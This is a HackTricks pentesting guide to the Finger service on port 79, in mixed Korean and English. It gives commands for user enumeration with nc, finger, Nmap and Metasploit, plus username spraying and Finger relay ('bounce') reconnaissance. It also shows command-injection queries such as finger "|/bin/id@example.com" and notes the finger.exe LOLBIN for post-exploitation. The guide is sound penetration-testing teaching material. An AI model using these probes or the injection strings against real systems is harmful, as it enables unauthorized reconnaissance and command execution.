79 - Pentesting Finger
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
The Finger program/service is utilized for retrieving details about computer users. Typically, the information provided includes the user’s login name, full name, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user’s plan and project files.
Pentesting 관점에서, Finger는 프로토콜이 매우 작고, 사람이 읽을 수 있는, 종종 레거시 파싱 로직으로 구현되어 있기 때문에 여전히 흥미롭습니다. A daemon may disclose:
- 현재 로그인한 사용자
- 전체 이름 / GECOS 데이터
- 홈 디렉터리, 쉘, 마지막 로그인 시간, 및 TTYs
.plan/.project내용- 릴레이 동작 — 첫 번째 호스트를 통해 두 번째 호스트에 쿼리하는 동작
기본 포트: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Basic connection
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
프로토콜은 ASCII over TCP/79이며, 보통 CRLF로 종료되고, 응답 후 server closes the TCP connection. 실제로 null 쿼리 (\r\n)만으로 현재 사용자 목록을 가져오는 경우가 많으며, 이는 Nmap의 기본 finger NSE 스크립트가 하는 방식이기도 합니다.
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
또는 pentestmonkey의 finger-user-enum을 사용할 수 있습니다. 몇 가지 예:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Finger enumeration에서 중요한 뉘앙스는 daemons마다 엄격한 응답 형식이 없다는 점이다. finger-user-enum 같은 도구는 Solaris-style 서비스에 대해 잘 작동하는데, 유효한 사용자와 무효한 사용자가 서로 다른 텍스트 레이아웃을 출력하기 때문이다. 하지만 대상 daemon이 특이한 경우에는 positive와 negative 응답을 수동으로 비교하고 regexes를 조정해야 할 수 있다.
daemon이 stock Solaris/BSD처럼 동작하지 않을 때 유용한 프로브:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap으로 default scripts를 사용해 스크립트 실행하기
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Nmap의 finger NSE script는 안전하며 단순히 null query를 전송하여 현재 사용자 목록을 가져옵니다. 만약 보안 설정이 느슨한 데몬을 상대로 더 광범위한 username 추측을 하고 싶다면, 커스텀 워드리스트로 이 방식을 확장하거나 fat-finger.nse와 같은 프로젝트를 사용하는 것을 고려해 보세요. 이러한 도구는 하나의 요청에 여러 유력한 계정 이름을 보내 username/GECOS 매치를 찾습니다.
Metasploit은 Nmap보다 더 많은 트릭을 사용합니다
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Command execution
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288은 구현체가 Finger 쿼리에 응답하여 사용자 제어 프로그램을 실행하도록 명시적으로 허용한다. 이것이 고전적인 |/bin/... 남용이 발생하는 이유다. 이는 현재 드물지만, 커스텀 또는 레거시 데몬을 발견하면 다음을 주의 깊게 테스트하라:
- 사용자 이름 처리에서의 shell 메타문자
- plan/project 훅에서의
|program실행 - 사용자 이름을 shell 스크립트나 CGI로 전달하는 백엔드 래퍼
또한 Windows에서의 client-side 악용 경로를 기억하라: finger.exe는 서명된 LOLBIN으로 원격 Finger 서버에서 TCP/79로 임의의 텍스트를 가져와 그 출력을 다른 프로세스에 파이프할 수 있다. 이 기법은 service enumeration보다 post-exploitation에서 더 관련성이 있으므로, 쉘 전송 아이디어는 the Linux reverse-shell page에서 확인하고 공격자 기교를 모사할 때 염두에 두어라.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
이것은 단순한 구현상의 특이점이 아니다: RFC 1288은 재귀적인 @hostname 포워딩({Q2} 쿼리)을 정의한다. 만약 daemon이 relaying를 지원하면, 중간 서버가 두 번째 Finger 연결을 대신 열고 응답을 원래 소켓으로 반환한다. 즉:
- 귀하의 호스트는 최종 대상에 직접 연결하지 못할 수 있다
- 릴레이는 노출된 Finger 서비스로부터 내부 사용자 열거에 사용될 수 있다
finger-user-enum은-r <relay>옵션으로 이를 기본적으로 지원한다
Example:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
relaying가 작동하면, 이를 internal recon primitive로 사용하여 relayed output을 public daemon의 직접 출력과 비교하라. 서로 다른 포맷팅이나 필터링은 종종 relay path가 별도의 backend나 wrapper에 의해 처리되는지를 드러낸다.
참고자료
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


